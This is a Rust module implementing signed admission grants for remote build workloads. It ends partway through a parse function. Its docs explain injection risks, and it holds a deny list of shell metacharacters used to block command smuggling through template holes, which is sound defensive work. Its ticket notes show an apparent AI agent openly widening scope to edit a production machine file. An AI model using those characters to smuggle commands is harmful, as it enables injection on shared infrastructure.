workload_spec/admission.rs
1//! Signed-recipe admission for dispatched workloads — W235 §(c), R555-F4.
2//!
3//! # The surface this closes
4//!
5//! A remote QED run executes *arbitrary recipe steps on shared infrastructure*.
6//! Everything between the camp and the node authenticates the **dispatcher**
7//! (mesh identity, yubaba admission), and nothing authenticates the **payload**:
8//! whoever can reach a build worker's yubaba can name any digest-pinned image
9//! and any argv, at `tier = "infra"`, with host networking — and, since R636-B2,
10//! can ask for `CAP_SETUID` + `CAP_SETGID` + `no_new_privs` off on top. That is
11//! remote code execution as a feature, gated only on being inside the mesh.
12//!
13//! An [`AdmissionGrant`] is the missing half: a small, signed document stating
14//! *what a recipe is allowed to run*. The recipe author signs it once, offline;
15//! the dispatcher carries it verbatim in three annotations; kamaji verifies the
16//! signature against pinned keys and then checks that the spec in front of it
17//! does not exceed what the grant describes.
18//!
19//! # What the grant covers, and why exactly that
20//!
21//! R710-S1 is the cautionary precedent: the original plugin-manifest signature
22//! authenticated `source_ref` alone, on the reasoning that it transitively
23//! pinned the bytes — leaving the *grant* (capabilities, sandbox profile)
24//! unsigned, i.e. authenticating precisely the field an attacker has no reason
25//! to touch. The same mistake here would be signing the recipe name, or its
26//! BLAKE3, and calling the run admitted.
27//!
28//! So the grant covers every field that determines **what code runs and with
29//! what privilege**:
30//!
31//! | Field | Why it is in the payload |
32//! |---|---|
33//! | `image` | the code, content-addressed |
34//! | `entrypoint`, `argv` | the code, as invoked |
35//! | `env-name` | `LD_PRELOAD` and friends are code injection by another name |
36//! | `workdir` | selects which of several trees a relative argv resolves against |
37//! | `tier` | the tier is what every other privilege gate keys on |
38//! | `host-network`, `nested-sandbox` | the two privilege widenings that exist |
39//! | `secret` | which vault credentials the run may read (R555-F5) |
40//!
41//! `recipe` rides along as a label, so a refusal names something a human can go
42//! read.
43//!
44//! Deliberately **not** covered: `resources`, `replicas`, the mesh-tag node
45//! selector, `expose`. None of them change what executes; folding them in would
46//! force a re-sign every time a build's memory ceiling moved.
47//!
48//! # Secrets (R555-F5) — the second thing a payload can steal
49//!
50//! F4 shipped with `secret` absent from that table and a note on the env check
51//! saying values need no constraint because an un-admitted *name* cannot be set
52//! at all. That reasoning holds for a literal and fails for a reference: the
53//! value of an [`EnvValue::FromSecret`] *is* the selector, and a
54//! [`SecretMount`](crate::SecretMount) was not looked at by [`covers`] at all.
55//! So a recipe admitted to set `R2_TOKEN` could be re-pointed at the cosign
56//! signing key without disturbing a byte the signature covered — the grant
57//! authenticated what the run *executes* and left what it *reads* ambient.
58//!
59//! The grant now carries a [`GrantSecret`] allow-list, and [`covers`] enforces
60//! it exactly (no template matching — a secret name is not a per-run value).
61//! Two shapes are refused outright rather than admitted:
62//!
63//! - **Env-target secret delivery**, in either spelling
64//! ([`SecretTarget::EnvVar`](crate::SecretTarget::EnvVar) or
65//! [`EnvValue::FromSecret`]). Nothing implements it end to end — yubaba
66//! materializes only `File` targets and both kamaji backends reject an
67//! unresolved `FromSecret` — and [`SecretTarget`](crate::SecretTarget)'s own
68//! doc says to prefer `File` because env leaks through subprocess env and log
69//! dumps. Admitting an unimplemented delivery path would mean signing for
70//! something whose behaviour is not yet decided.
71//! - Anything not on the list, including a mount the signer never wrote.
72//!
73//! The one subtlety is that **the spec kamaji admits is not the spec the
74//! dispatcher signed**: yubaba resolves each `File` mount into a read-only bind
75//! of a tmpfs file (`deploy::secret_mount`) *before* the backend sees it. So
76//! [`covers`] accepts either form — the declared mount, or the injected bind at
77//! exactly the path [`crate::secret_mount::materialized_host_path`] derives for
78//! this spec's own ident. Any other bind outside the forge state root is still
79//! refused, so the exemption cannot be used to mount a sibling workload's
80//! secret dir.
81//!
82//! [`covers`]: AdmissionGrant::covers
83//!
84//! Also deliberately absent: a **hash of the recipe file**. It is the obvious
85//! provenance field and it is wrong twice over. It is circular — signing writes
86//! the signature into that same file, so the hash the author signed is never the
87//! hash the dispatcher computes — and it over-binds: a recipe TOML is mostly
88//! comments and `@yah:` board annotations, so editing a comment would un-sign
89//! the recipe. The grant's own body is the better identity, because it is
90//! exactly the part of the recipe whose change *should* invalidate a signature.
91//!
92//! # Why argv is a *template*
93//!
94//! A recipe's argv is authored with `{{...}}` holes that the materialize path
95//! substitutes per run — `{{YAH_TRANSFORM_OUT}}` becomes a path containing the
96//! derivation key, `{{target}}` becomes a caller-supplied param. A signature
97//! over the *substituted* argv could therefore only be produced at dispatch
98//! time, by a key the dispatcher holds — which reduces the whole gate to "the
99//! dispatcher is authenticated", something the mesh already provides.
100//!
101//! So the grant carries the template, and [`AdmissionGrant::covers`] checks the
102//! received argv is an instantiation of it. The security property comes from
103//! constraining the holes: recipes write shell strings
104//! (`build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'`), so a hole that may not
105//! contain a quote, a `$`, a backtick, a `;`, a `|`, or a `..` cannot break out
106//! of the quoting the author wrote. See [`hole_is_safe`].
107//!
108//! # Policy, and what is on by default
109//!
110//! [`Policy::Permissive`] is the default: a grant, **if present**, must verify —
111//! absent is allowed. That makes deploying this code a no-op for the live
112//! pipeline-offload path (a `qed run --where=remote` step comes from a pipeline,
113//! not a recipe, and has no grant) while making tampering with a *signed*
114//! dispatch detectable immediately.
115//!
116//! One exception is unconditional, and it is the point of the R636-B2 coupling
117//! W235 §Reshaping names: **a workload requesting the nested-sandbox grant needs
118//! a valid admission grant under every policy except [`Policy::Disabled`].**
119//! B2's widening is what raises the cost of an admission gap from "arbitrary
120//! code in a tight sandbox" to "arbitrary code with SETUID and no-new-privs
121//! off", so the widening does not get to be used un-admitted. That costs nothing
122//! today — B2's grant is built but not yet deployed on any worker — and it means
123//! the ordering W235 asked for ("B2's widening is defensible only once F4's
124//! admission gate exists") is enforced by the code rather than by sequencing
125//! discipline.
126//!
127//! [`Policy::Required`] is the end state for a shared build worker: no grant, no
128//! run. It is an operator flip per node (`YAH_ADMISSION=required`), because
129//! turning it on before that node's dispatchers sign is a self-inflicted outage.
130//!
131//! @yah:relay(R894, "Trust as a declared axis: admission derives minimum isolation substrate")
132//! @yah:at(2026-09-11T22:22:59Z)
133//! @yah:assignee(agent:user-custom-char-gul2)
134//! @yah:next("Operator call (2026-09-11, chat session:d6fc1d54): workload trust becomes a declared property from which admission derives minimum isolation, making 'untrusted code never shares a kernel with the fleet' one checkable rule instead of a convention distributed across dispatchers. Today only the mechanism is recorded (yah.exec substrate marker) and the sole trust-shaped gate is kamaji's tier==\"infra\" check. R823 (untrusted camp vending on microVMs) is the first consumer of this rule.")
135//! @arch:see(oss/yubaba/crates/cloud/src/config.rs)
136//! @arch:see(.yah/docs/working/W344-native-workloads-run-unbounded.md)
137//! @arch:see(.yah/docs/architecture/A043-yah-on-machine-daemons.md)
138//!
139//! @yah:ticket(R894-F1, "admit_workload refuses any spec whose trust level exceeds its requested substrate")
140//! @yah:phase(P1)
141//! @yah:status(review)
142//! @yah:at(2026-09-14T00:31:45Z)
143//! @yah:assignee(agent:bundle-anthropic-ashguard)
144//! @yah:parent(R894)
145//! @yah:next("Tier: Wizard — security invariant whose design decisions (declaration point, default direction) matter more than the line count. RULE SHAPE: substrate ordering is already documented widest-first on kamaji's Backend enum (native < container < microvm); trust maps to a MINIMUM substrate; a caller may request stricter, never looser; violation is a REFUSAL at admission, mirroring wants_microvm's no-silent-downgrade semantics. Enforcement seam: CloudConfig::admit_workload (oss/yubaba/crates/cloud/src/config.rs:1957) + admission_spec, where cap:native-exec already lives. TWO DESIGN DECISIONS TO SETTLE FIRST: (1) declaration — annotation (R885 yah.limits.* precedent, crosses the postcard wire free) vs server-side derivation from tenant identity; the marker must NOT be self-attestable by untrusted spec authors, so whatever the spelling, it is stamped at the single choke point that ingests tenant code, and admission treats tenant-origin-without-marker as invalid rather than defaulting to trusted. (2) default direction — absent marker on operator-authored specs means trusted; the unsafe spelling (absent = trusted for ALL origins) is the trap this ticket exists to close. KNOWN CONSEQUENCE, correct not a bug: no fleet node declares cap:microvm yet (deliberate, gated on R605-F14 guest artifacts — see the cleanup note in config.rs), so untrusted workloads refuse fleet-wide until that lands. ACCEPTANCE GATE per W344's lesson: name a call site on the live deploy path, not a test count — a test proving an untrusted-marked spec requesting yah.exec=native (and one requesting no substrate at all) is refused inside admit_workload's real dispatch path.")
146//! @yah:handoff("TRUST IS NOW A DECLARED AXIS AND ADMISSION REFUSES ON IT. New `yah.trust` annotation (TRUST_ANNOTATION / TRUST_TRUSTED_VALUE / TRUST_UNTRUSTED_VALUE) in oss/yah-base/crates/workload-spec/src/lib.rs, with `TrustLevel{Trusted,Untrusted}`, `TrustLevel::minimum_substrate()`, `TrustDeclError` (manual Display+Error, the WritablePathsDeclError shape — no thiserror in that lib), and `WorkloadSpec::trust()`. Untrusted floors at microVM: the 2026-09-11 operator call resolving W344:166's 'containerd or microVM' disjunction to the strict side for code the operator did not write.")
147//! @yah:handoff("DECISION 1 — DECLARATION: an ANNOTATION (R885 yah.limits.* precedent, crosses the postcard wire free), NOT server-side derivation from tenant identity, and NOT a fourth `yah.exec` value. Separate key because `yah.exec` is a REQUEST (what the dispatcher wants) and `yah.trust` is a FACT (where the code came from); folding them makes the fact unstateable whenever the request is stricter than the floor. NOT self-attestable, and the argument is structural rather than cryptographic: a tenant never hands yah a WorkloadSpec, it hands yah an image + argv that yah's OWN code puts into a spec. So the choke point holds the pen. `WorkloadSpec::stamp_untrusted()` is that verb — it stamps the marker AND raises the substrate to the floor in one call, monotonically (a caller already asking for microVM keeps its request; idempotent). R823 is its first caller and has none yet, deliberately.")
148//! @yah:handoff("DECISION 2 — DEFAULT DIRECTION: absent means Trusted, and the doc on TrustLevel states WHY that is not the trap. Every WorkloadSpec in the tree today is operator-built and declares nothing, so absent=untrusted refuses the whole fleet on day one. The unsafe spelling the ticket exists to close is 'absent = trusted for ALL ORIGINS'; what closes it is that the untrusted-origin path stamps in the same function that takes the third-party bytes, not that admission guesses. An UNRECOGNISED value is an Err, never a fallback to either side — reading `untrused` as trusted turns the microVM floor off by typo.")
149//! @yah:handoff("ENFORCEMENT SEAM: `admission_spec` (oss/yubaba/crates/cloud/src/config.rs) now returns `Result<RequiredSpec>` and calls new `check_trust_substrate(&group)` first. Signature change over a note-to-self on purpose: admission_spec is the ONE function admit_workload / admit_workload_candidates / admit_workload_in_group all share, so a Result makes the gate structural — a fourth entry point cannot be added that skips it. Checked per member over the whole placement_group (R860-T4 co-places `local` edges, so an untrusted provider reaching a node is reaching it whether or not the requirer is the untrusted one). A REFUSAL, not a mesh tag: an untrusted+native spec is not unplaceable, it is incoherent — rendering it as 'no node admits this' sends the operator to look at machines.")
150//! @yah:handoff("NEW ExecSubstrate{Native<Container<MicroVm} with derived Ord — the ordering IS the security ordering, pinned by `substrates_are_ordered_by_the_isolation_they_provide` because a variant reorder would invert the whole check while compiling clean. `WorkloadSpec::exec_substrate()` collapses the wants_native_exec/wants_microvm boolean pair into one total function, and `admission::GrantRuntime::of_spec` now DELEGATES to it rather than carrying a second copy of the same ladder (the drift R605-F8's own doc warned about, one level up).")
151//! @yah:verify("ACCEPTANCE GATE PER W344's LESSON — a call site on the live deploy path, not a test count. The refusal fires inside `CloudConfig::admit_workload` / `admit_workload_candidates`, which are the real dispatch path: `MeshYubabaClient::elect_node` calls admit_workload_candidates at app/yah/cli/src/yubaba_client.rs:236, and `yah cloud workload deploy` calls admit_workload at app/yah/cli/src/cloud.rs:3828. `admit_workload_refuses_untrusted_code_on_a_shared_kernel` drives admit_workload directly on both required shapes — untrusted + yah.exec=native, and untrusted with NO substrate marker at all (the container default, the one an absent=trusted-for-all-origins spelling would have admitted) — against a fleet that CONTAINS a microVM-capable node, then admits the same workload once it asks for microvm. Same fleet, same name: the two refusals provably came from the substrate.")
152//! @yah:verify("cargo test --manifest-path oss/yah-base/Cargo.toml -p yah-workload-spec = 208 lib + 106 integration + 0 doctest, 0 failed, exit 0 (+4 new lib tests). cargo test --manifest-path oss/yubaba/Cargo.toml -p yah-cloud --lib config::tests = 218 passed / 0 failed (+6 new). cargo check -p yah-cloud -p yubaba --all-targets exit 0. ./scripts/check-schema-drift.sh and ./scripts/check-workload-spec-ts.sh both 'in sync' — nothing added is schemars-derived and annotations is already a HashMap<String,String>, so no regen and no ProtocolVersion bump.")
153//! @yah:verify("SIX NEW config.rs TESTS: admit_workload_refuses_untrusted_code_on_a_shared_kernel (the gate); a_trusted_workload_may_still_request_a_stricter_substrate (the rule is one-directional); an_untrusted_provider_refuses_the_whole_placement_group (names the offending MEMBER, and the same requirer without the local edge admits, so the refusal provably came from the group); an_unreadable_trust_declaration_is_refused_rather_than_defaulted; a_group_with_no_microvm_member_does_not_require_the_capability (R860-T5-shaped regression guard); every_admission_entry_point_enforces_the_trust_floor (all three admit_* refuse the same spec). FOUR NEW workload-spec TESTS: the Ord pin, exec_substrate-agrees-with-the-two-predicates-it-replaces (incl. a typo'd `micro-vm` failing CLOSED to Container), trust default/refusal table, and stamp_untrusted raise/idempotence/never-lower plus the post-condition that a stamped spec always satisfies its own floor.")
154//! @yah:gotcha("SCOPE I TOOK BEYOND THE TITLE, LOUDLY: R860-T5's deferred `cap:microvm` axis landed here too, because without it the trust floor lands nowhere real — an untrusted workload would pass the coherence check and then be elected onto a node with no microVM backend and refused at dispatch, which is exactly the 25-hour-outage shape R858 paid for on the native axis. New `MICROVM_MESH_TAG = \"cap:microvm\"` in config.rs and one `if` beside the native one in admission_spec. R860-T5's cleanup note gated this on R605-F14 landing guest artifacts; that precondition IS met — see the next gotcha.")
155//! @yah:gotcha("I DECLARED `cap:microvm` ON .yah/infra/machines/us-west-003.toml — ONE NODE, ON RECORDED EVIDENCE, NOT INFERENCE. That file's own header carries the RESOLVED 2026-09-10T23:27Z block (the /etc/systemd/system/kamaji.service.d/10-microvm.conf drop-in, the journal line 'microVM backend attached', the staged vmlinux + rootfs.ext4 with sha256 sidecars), and oss/kamaji/crates/kamaji-bin/src/main.rs:31 records R605-T24's `.yah/qed/microvm-dispatch-smoke.toml` run on 2026-09-11 driving a forge from qed through yubaba admission into a guest THERE, asserting on /proc/cmdline tokens a container cannot fake. NO OTHER MACHINE FILE WAS TOUCHED. THE TRAP, written into the TOML comment: this capability is NOT visible in ExecStart (the drop-in sets KAMAJI_MICROVM_DIR; read `systemctl show -p Environment kamaji`), and that header also records that rolling the node to a published version REVERTS the staged guest material — so re-check after any roll, harder than for cap:native-exec.")
156//! @yah:gotcha("WITHOUT THAT TOML LINE THE microvm AXIS WOULD HAVE BROKEN A LIVE RECIPE. A node pin does NOT bypass mesh_tags (admission_spec derives `nodes` alongside them deliberately, so a pin is still checked), so `yah qed run microvm-dispatch-smoke --where=node:us-west-003` would have started refusing at admission the moment the axis landed. The tag and the axis had to land together; that is why this is one change and not two.")
157//! @yah:gotcha("PRE-EXISTING FAILURES ON THIS TREE, NEITHER MINE — both confirmed by content, not by assumption. (1) `yah-cloud --lib reconciler::mesofact_static::tests::bundled_worker_walks_the_route_table` fails; that file carries 323 uncommitted insertions from a live peer and my diff is nowhere near it. (2) `cargo test -p xtask --test main cluster_epoch_drift::raft_protocol_surface_matches_the_declared_epochs` fails on MOVED raft lines in oss/yubaba/crates/yubaba/src/lib.rs, a file I did not touch; it needs the breaking/not-breaking call plus `cargo run -p xtask -- cluster-epochs --write`. The other 68 xtask tests pass, including every fleet-placement one that reads the real machine TOMLs, so the us-west-003 edit is clean.")
158//! @yah:gotcha("`stamp_untrusted` HAS NO PRODUCTION CALLER YET, and that is the correct state — R823 (untrusted camp vending on microVMs) is the first choke point and is not built. The rule for whoever writes it is in the verb's doc comment: call it in the SAME function that takes the third-party bytes, not in a caller that can be forgotten. Until then the axis costs the fleet nothing: no spec in the tree sets yah.trust, and absent is Trusted, whose floor is the bottom of the ordering.")
159//! @yah:handoff("Tree anchor at review: e0530813af8f7d86f5eb7ea9a6b5a57d386bf30b. FILES TOUCHED, all four: oss/yah-base/crates/workload-spec/src/lib.rs (the axis + accessors + stamp verb + 4 tests), oss/yah-base/crates/workload-spec/src/admission.rs (GrantRuntime::of_spec delegates to exec_substrate; the import line), oss/yubaba/crates/cloud/src/config.rs (MICROVM_MESH_TAG, admission_spec -> Result, check_trust_substrate, the microvm axis, 6 tests), .yah/infra/machines/us-west-003.toml (cap:microvm + the evidence comment). Quote this SHA rather than 'HEAD' in any revert instruction.")
160
161use std::collections::BTreeSet;
162use std::path::{Path, PathBuf};
163
164use thiserror::Error;
165
166use crate::{
167 EnvValue, ExecSubstrate, SecretMount, SecretRef, SecretTarget, VolumeSource, WorkloadSpec,
168};
169
170/// Annotation carrying the admission grant document verbatim.
171///
172/// The value is the exact byte string [`AdmissionGrant::encode`] produces and
173/// the exact byte string the signature is over. Annotations do not reach the OCI
174/// spec (kamaji builds that from typed fields), so carrying a few hundred bytes
175/// here costs nothing at runtime.
176pub const GRANT_ANNOTATION: &str = "yah.admission.grant";
177
178/// Annotation carrying the hex-encoded Ed25519 detached signature over the
179/// [`GRANT_ANNOTATION`] value.
180pub const GRANT_SIGNATURE_ANNOTATION: &str = "yah.admission.signature";
181
182/// Annotation carrying the hex-encoded Ed25519 public key that signed the
183/// grant. Checked against the verifier's pinned key set *before* the signature
184/// is verified — an untrusted key can produce a perfectly valid signature, so
185/// verifying it first would be answering the wrong question (the ordering
186/// `yah_plugin::verify_manifest` established).
187pub const GRANT_KEY_ANNOTATION: &str = "yah.admission.key";
188
189/// Domain separator opening every grant document. Also the format version: a
190/// verifier that does not recognise the line refuses rather than guessing.
191///
192/// **v2 (R555-F5)** added the `secret` allow-list. The bump costs nothing: no
193/// grant has ever been signed outside a test fixture (every recipe in
194/// `.yah/qed/transforms/` is `location = "local"`, which `recipe-sign` skips),
195/// and a version skew between a new dispatcher and an old node now surfaces as
196/// [`GrantError::BadMagic`] rather than as a trailing-bytes parse failure that
197/// reads like corruption.
198pub const GRANT_MAGIC: &str = "yah-admission-grant/v2";
199
200/// Characters a template hole may not contain.
201///
202/// Recipe argv elements are shell strings the author quoted by hand
203/// (`build-v8.sh '{{target}}'`). These are the characters that let a
204/// substituted value escape that quoting, plus the ones that would let it reach
205/// a second command. `..` is rejected separately by [`hole_is_safe`] — it is a
206/// two-character sequence, not a class member.
207pub const FORBIDDEN_HOLE_CHARS: &[char] = &[
208 '\'', '"', '`', '$', ';', '|', '&', '<', '>', '(', ')', '{', '}', '\\', '\n', '\r', '\0',
209];
210
211/// Whether a substituted template hole's content is safe to have landed inside
212/// a recipe-authored shell string.
213///
214/// This is the whole security argument for template matching, so it is stated
215/// as a rule rather than a heuristic: the recipe author controls the quoting,
216/// and a value that contains none of [`FORBIDDEN_HOLE_CHARS`] and no `..`
217/// cannot change the command's structure — only which noun it names.
218pub fn hole_is_safe(value: &str) -> bool {
219 !value.contains("..") && !value.contains(FORBIDDEN_HOLE_CHARS)
220}
221
222/// Which runtime the grant admits. Mirrors the
223/// [`NATIVE_EXEC_ANNOTATION`](crate::NATIVE_EXEC_ANNOTATION) marker rather than
224/// re-deriving it: a native forge is fork+exec'd on the host with no container
225/// boundary at all, which is a materially different thing to admit.
226#[derive(Debug, Clone, Copy, PartialEq, Eq)]
227pub enum GrantRuntime {
228 /// Container backend (the default shape).
229 Container,
230 /// Host fork+exec — no container boundary. See
231 /// [`WorkloadSpec::wants_native_exec`].
232 Native,
233 /// KVM guest with its own kernel — a *stronger* boundary than a container,
234 /// not a weaker one. See [`WorkloadSpec::wants_microvm`] (R605-F8).
235 ///
236 /// It is nonetheless a distinct runtime in the grant rather than being
237 /// folded into [`Self::Container`], because a grant states what it admits:
238 /// a recipe signed to run in a container and a recipe signed to run in a
239 /// microVM differ in what the argv can reach (its own kernel, its own
240 /// device set, a host filesystem it sees only through the drives kamaji
241 /// attaches), and one describing the other would be false in both
242 /// directions.
243 MicroVm,
244}
245
246impl GrantRuntime {
247 fn as_str(self) -> &'static str {
248 match self {
249 GrantRuntime::Container => "container",
250 GrantRuntime::Native => "native",
251 GrantRuntime::MicroVm => "microvm",
252 }
253 }
254
255 /// The runtime a spec actually selects, from its `yah.exec` marker.
256 ///
257 /// One function so the signing site ([`AdmissionGrant::from_spec`]) and the
258 /// verifying site ([`AdmissionGrant::verify_matches`]) cannot disagree —
259 /// they were two copies of the same `if` before R605-F8 added a third arm,
260 /// which is exactly when a duplicated ladder starts to drift.
261 ///
262 /// R894-F1 took that argument one level further: this was itself the
263 /// *second* copy of the ladder, beside admission's trust check, so it now
264 /// delegates to [`WorkloadSpec::exec_substrate`]. A grant and a trust floor
265 /// disagreeing about which substrate a spec selects is the failure this
266 /// closes.
267 fn of_spec(spec: &WorkloadSpec) -> Self {
268 match spec.exec_substrate() {
269 ExecSubstrate::Native => GrantRuntime::Native,
270 ExecSubstrate::Container => GrantRuntime::Container,
271 ExecSubstrate::MicroVm => GrantRuntime::MicroVm,
272 }
273 }
274}
275
276/// How strictly a node enforces admission.
277///
278/// See the module docs for why [`Policy::Permissive`] is the default and why
279/// the nested-sandbox exception is unconditional.
280#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
281pub enum Policy {
282 /// No admission checking at all — pre-R555-F4 behaviour. An escape hatch
283 /// for a node debugging its own signing setup; it also disables the
284 /// nested-sandbox exception, which is why it is not the default.
285 Disabled,
286 /// A grant, if present, must verify. A workload with no grant runs, unless
287 /// it requests the nested-sandbox widening.
288 #[default]
289 Permissive,
290 /// Every workload must carry a grant that verifies.
291 Required,
292}
293
294impl Policy {
295 /// Parse a policy name. Accepts exactly the three spellings; anything else
296 /// is an error rather than a silent fallback, because "I typoed the env var
297 /// and admission quietly turned off" is the failure this whole module is
298 /// about.
299 pub fn parse(s: &str) -> Result<Self, String> {
300 match s.trim() {
301 "disabled" => Ok(Policy::Disabled),
302 "permissive" => Ok(Policy::Permissive),
303 "required" => Ok(Policy::Required),
304 other => Err(format!(
305 "unknown admission policy {other:?}; expected \"disabled\", \
306 \"permissive\" or \"required\""
307 )),
308 }
309 }
310}
311
312/// A signed statement of what one recipe is allowed to run.
313///
314/// Construct with [`AdmissionGrant::from_spec`] at signing time (so the grant
315/// and the thing it describes cannot drift), encode with
316/// [`AdmissionGrant::encode`], sign the encoded bytes, and attach all three
317/// pieces with [`attach`].
318#[derive(Debug, Clone, PartialEq, Eq)]
319pub struct AdmissionGrant {
320 /// Recipe name, so a refusal names something a human can go read. Signed
321 /// like everything else, so it cannot be re-attributed after the fact.
322 pub recipe: String,
323 /// Canonical pinned image reference, as [`image_ref_string`] renders it.
324 pub image: String,
325 /// Tier the workload may run at.
326 pub tier: String,
327 /// Container or host fork+exec.
328 pub runtime: GrantRuntime,
329 /// Whether the recipe may request the host network namespace.
330 pub host_network: bool,
331 /// Whether the recipe may request the nested-sandbox capability widening.
332 pub nested_sandbox: bool,
333 /// Working directory the recipe may declare, if any.
334 pub workdir: Option<String>,
335 /// Entrypoint templates, in order.
336 pub entrypoint: Vec<String>,
337 /// Argv templates, in order. `{{...}}` holes are matched, not compared.
338 pub argv: Vec<String>,
339 /// Environment variable *names* the recipe may set. Values are
340 /// unconstrained for a [`EnvValue::Literal`] — a name that is not on this
341 /// list cannot be set at all. A `FromSecret` value is a different question
342 /// and is refused outright; see the module docs.
343 pub env_names: Vec<String>,
344 /// Vault credentials the recipe may read, exactly. Empty on a recipe that
345 /// declares none, which then cannot read any — the fail-closed direction,
346 /// and the state every recipe in the tree is in today.
347 pub secrets: Vec<GrantSecret>,
348}
349
350/// One vault credential a grant admits, as a file inside the workload.
351///
352/// File-target only, on purpose — see the module docs on why env-target secret
353/// delivery is refused rather than admitted. `mode` is in the signed body
354/// because a secret readable by every uid in the container is a different grant
355/// from one readable by its owner.
356#[derive(Debug, Clone, PartialEq, Eq)]
357pub struct GrantSecret {
358 /// Where yubaba reads the value from.
359 pub source: SecretRef,
360 /// Absolute container path the value is mounted at.
361 pub path: PathBuf,
362 /// File mode, octal.
363 pub mode: u32,
364}
365
366impl GrantSecret {
367 /// The grant entry a spec's mount corresponds to, or `None` when the mount
368 /// is one no grant can admit (an env target).
369 pub fn of_mount(mount: &SecretMount) -> Option<Self> {
370 match &mount.target {
371 SecretTarget::File { path, mode } => Some(Self {
372 source: mount.source.clone(),
373 path: path.clone(),
374 mode: *mode,
375 }),
376 SecretTarget::EnvVar { .. } => None,
377 }
378 }
379
380 /// Operator-facing rendering, for refusal messages only. Never parsed —
381 /// the wire form is the four records [`AdmissionGrant::encode`] writes.
382 pub fn describe(&self) -> String {
383 let source = match &self.source {
384 SecretRef::Cluster { name } => format!("cluster:{name}"),
385 SecretRef::LocalFile { path } => format!("local-file:{}", path.display()),
386 };
387 format!("{source} → {} (mode {:o})", self.path.display(), self.mode)
388 }
389
390 fn source_kind(&self) -> &'static str {
391 match self.source {
392 SecretRef::Cluster { .. } => "cluster",
393 SecretRef::LocalFile { .. } => "local-file",
394 }
395 }
396
397 fn source_value(&self) -> String {
398 match &self.source {
399 SecretRef::Cluster { name } => name.clone(),
400 SecretRef::LocalFile { path } => path.to_string_lossy().into_owned(),
401 }
402 }
403}
404
405/// Render an [`ImageRef`](crate::ImageRef) the one way the grant compares them.
406///
407/// Hand-rolled rather than a `Display` impl on `ImageRef` so the encoding this
408/// module signs cannot be changed by an unrelated edit to that type's
409/// formatting — the same reasoning `yah_plugin::signing_payload` records for
410/// not signing serialized TOML.
411pub fn image_ref_string(image: &crate::ImageRef) -> String {
412 format!(
413 "{}/{}:{}@{}",
414 image.registry, image.repository, image.tag, image.digest
415 )
416}
417
418impl AdmissionGrant {
419 /// Cut a grant from a spec that is already exactly what should be admitted.
420 ///
421 /// This is the signing-time constructor: lower the recipe to a
422 /// `WorkloadSpec` with its argv left un-substituted (holes intact), pass it
423 /// here, encode, sign. Deriving the grant from the spec rather than from the
424 /// recipe means the grant describes the thing that will actually be checked,
425 /// with no second lowering to keep in step.
426 pub fn from_spec(recipe: &str, spec: &WorkloadSpec) -> Self {
427 Self {
428 recipe: recipe.to_string(),
429 image: image_ref_string(&spec.image),
430 tier: spec.tier.0.clone(),
431 runtime: GrantRuntime::of_spec(spec),
432 host_network: spec.wants_host_network(),
433 nested_sandbox: spec.wants_nested_sandbox(),
434 workdir: spec
435 .workdir
436 .as_ref()
437 .map(|p| p.to_string_lossy().into_owned()),
438 entrypoint: spec.entrypoint.clone().unwrap_or_default(),
439 argv: spec.command.clone().unwrap_or_default(),
440 env_names: spec.env.iter().map(|e| e.name.clone()).collect(),
441 // An env-target mount yields no entry, so signing a spec that
442 // carries one produces a grant that does not cover it — the same
443 // refusal a verifier reaches, surfaced at signing time instead.
444 secrets: spec.secrets.iter().filter_map(GrantSecret::of_mount).collect(),
445 }
446 }
447
448 /// The exact bytes a recipe author signs, and the exact bytes a verifier
449 /// verifies over.
450 ///
451 /// A domain-separated sequence of length-prefixed records in fixed field
452 /// order: `<label> <byte-len>\n<value>\n`. The length prefix is what lets a
453 /// value contain a newline (a `bash -c` argv routinely does) without any
454 /// escaping, and fixed order plus explicit counts make the encoding
455 /// injective — two different grants cannot produce the same bytes.
456 ///
457 /// Hand-rolled rather than "serialize to TOML/JSON and sign that", for the
458 /// reason `yah_plugin::signing_payload` states: a serializer's output is a
459 /// formatting decision of a dependency, so a version bump could silently
460 /// invalidate every signature ever issued.
461 pub fn encode(&self) -> String {
462 let mut out = String::with_capacity(512);
463 out.push_str(GRANT_MAGIC);
464 out.push('\n');
465 record(&mut out, "recipe", &self.recipe);
466 record(&mut out, "image", &self.image);
467 record(&mut out, "tier", &self.tier);
468 record(&mut out, "runtime", self.runtime.as_str());
469 record(&mut out, "host-network", bool_str(self.host_network));
470 record(&mut out, "nested-sandbox", bool_str(self.nested_sandbox));
471 list(&mut out, "workdir", self.workdir.as_slice_of_one());
472 list(&mut out, "entrypoint", &self.entrypoint);
473 list(&mut out, "argv", &self.argv);
474 list(&mut out, "env-name", &self.env_names);
475 // Four records per entry rather than one joined string: joining needs a
476 // separator, and a separator inside a secret name or a mount path makes
477 // two different allow-lists encode to the same bytes. The record shape
478 // is already length-prefixed and therefore already injective.
479 record(&mut out, "secret", &self.secrets.len().to_string());
480 for s in &self.secrets {
481 record(&mut out, "secret.source-kind", s.source_kind());
482 record(&mut out, "secret.source", &s.source_value());
483 record(&mut out, "secret.path", &s.path.to_string_lossy());
484 record(&mut out, "secret.mode", &format!("{:o}", s.mode));
485 }
486 out
487 }
488
489 /// Parse the encoding [`AdmissionGrant::encode`] produces.
490 ///
491 /// Strict on purpose: an unrecognised magic line, a label out of order, a
492 /// length that does not match, or trailing bytes are all errors. A verifier
493 /// that guesses at a malformed grant is a verifier that can be steered.
494 pub fn parse(text: &str) -> Result<Self, GrantError> {
495 let mut cur = Cursor::new(text);
496 cur.magic()?;
497 let recipe = cur.record("recipe")?;
498 let image = cur.record("image")?;
499 let tier = cur.record("tier")?;
500 let runtime = match cur.record("runtime")?.as_str() {
501 "container" => GrantRuntime::Container,
502 "native" => GrantRuntime::Native,
503 "microvm" => GrantRuntime::MicroVm,
504 other => {
505 return Err(GrantError::BadValue {
506 label: "runtime",
507 reason: format!(
508 "expected \"container\", \"native\" or \"microvm\", got {other:?}"
509 ),
510 })
511 }
512 };
513 let host_network = cur.bool_record("host-network")?;
514 let nested_sandbox = cur.bool_record("nested-sandbox")?;
515 let mut workdir = cur.list("workdir")?;
516 if workdir.len() > 1 {
517 return Err(GrantError::BadValue {
518 label: "workdir",
519 reason: format!("expected 0 or 1 entries, got {}", workdir.len()),
520 });
521 }
522 let entrypoint = cur.list("entrypoint")?;
523 let argv = cur.list("argv")?;
524 let env_names = cur.list("env-name")?;
525 let secrets = cur.secrets()?;
526 cur.end()?;
527
528 Ok(Self {
529 recipe,
530 image,
531 tier,
532 runtime,
533 host_network,
534 nested_sandbox,
